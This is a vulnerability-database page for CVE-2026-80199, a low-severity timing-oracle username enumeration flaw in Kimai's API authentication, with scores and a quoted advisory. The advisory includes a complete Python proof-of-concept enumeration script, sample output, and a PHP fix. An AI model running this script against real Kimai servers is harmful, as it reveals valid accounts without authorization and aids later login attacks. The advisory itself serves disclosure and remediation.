CVE-2026-80199

lowPriorität · verfolgen · 0EPSS 0.003 · 24. PerzentilUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.31% (24th) EPSS
CVSS 3.7 · low
Is it mine?
1 products
Prüfe deine Angriffsfläche
Who says so?
1 sources
osv

EPSS · bewertet 2026-10-28

Kimai before 2.54.0 contains a timing oracle vulnerability in TokenAuthenticator that allows unauthenticated attackers to enumerate valid usernames via X-AUTH-USER header. Attackers can measure response time differences when the password hasher runs only for existing users, enabling username enumeration with no login throttling protection.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

6.3
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · low–medium · 1.7–6.3

v3.13.7lowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:Nsecondary · disclosure@vulncheck.comAusnutzbarkeit 2.2 · Auswirkung 1.4
v3.13.7lowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:Nsecondary · OSV
v4.06.3mediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.01.7lowCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (1)

Betroffene Produkte und Versionsbereiche.

05

Advisories (1)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-jrc6-fmhw-fpq2Kimai: Username enumeration via timing on X-AUTH-USER2026-04-17ghsa · osvUS

    ## Details `src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{"message":"Invalid credentials"}`, HTTP 403), so the leak is purely timing. The `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded. The legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required. ## Proof of concept ```python #!/usr/bin/env python3 """Kimai username enumeration via X-AUTH-USER timing oracle.""" import argparse import ssl import statistics import sys import time import urllib.error import urllib.request PROBE_PATH = "/api/users/me" BASELINE_USER = "baseline_no_such_user_zzz" DUMMY_TOKEN = "x" * 32 def probe(url, user, ctx): req = urllib.request.Request( url + PROBE_PATH, headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN}, ) t0 = time.perf_counter() try: urllib.request.urlopen(req, context=ctx, timeout=10).read() except urllib.error.HTTPError as e: e.read() return (time.perf_counter() - t0) * 1000.0 def median_ms(url, user, samples, ctx): return statistics.median(probe(url, user, ctx) for _ in range(samples)) def load_candidates(path): with open(path) as f: return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")] def main(): ap = argparse.ArgumentParser(description=__doc__.strip()) ap.add_argument("-u", "--url", required=True, help="base URL, e.g. https://kimai.example") ap.add_argument("-l", "--list", required=True, metavar="FILE", help="one candidate username per line") ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS", help="median delta over baseline that flags a real user") ap.add_argument("-n", "--samples", type=int, default=15) ap.add_argument("--verify-tls", action="store_true") args = ap.parse_args() url = args.url.rstrip("/") ctx = None if args.verify_tls else ssl._create_unverified_context() candidates = load_candidates(args.list) baseline = median_ms(url, BASELINE_USER, args.samples, ctx) print(f"baseline: {baseline:.1f} ms", file=sys.stderr) width = max(len(u) for u in candidates) print(f"{'username':<{width}} {'median':>8} {'delta':>8} verdict") print("-" * (width + 30)) for user in candidates: m = median_ms(url, user, args.samples, ctx) delta = m - baseline verdict = "REAL" if delta > args.threshold else "-" print(f"{user:<{width}} {m:>6.1f}ms {delta:>+6.1f}ms {verdict}") if __name__ == "__main__": main() ``` Usage: ``` $ ./timing_oracle.py -u https://target -l users.txt -n 15 [*] calibrating baseline with 15 samples [*] baseline median: 37.7 ms [*] probing 13 candidates (n=15, threshold=15.0 ms) username median delta verdict ---------------------------------------------------------- user1@example.com 64.2ms +26.5ms REAL user2@example.com 72.4ms +34.7ms REAL user3@example.com 70.0ms +32.3ms REAL tester.nonexistent@example.com 37.2ms -0.5ms - admin 63.6ms +25.9ms REAL administrator 38.2ms +0.4ms - root 37.3ms -0.4ms - test 33.6ms -4.1ms - demo 38.2ms +0.5ms - kimai 37.0ms -0.7ms - nonexistent_user_aaa 38.1ms +0.4ms - nonexistent_user_bbb 37.5ms -0.2ms - nonexistent_user_ccc 38.4ms +0.7ms - ``` In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each. ## Fix In `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence: ```php private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0'; try { $user = $this->userProvider->loadUserByIdentifier($credentials['username']); } catch (UserNotFoundException $e) { $this->passwordHasherFactory ->getPasswordHasher(User::class) ->verify(self::DUMMY_HASH, $credentials['password']); throw $e; } ``` The dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash('dummy', PASSWORD_ARGON2ID)` and pin it as a constant. ## Relevance The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. 

06

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-08-26geändert 2026-08-31
07

Referenzen (2) nvd

Externe Belege — Patches, Meldungen, Analysen.

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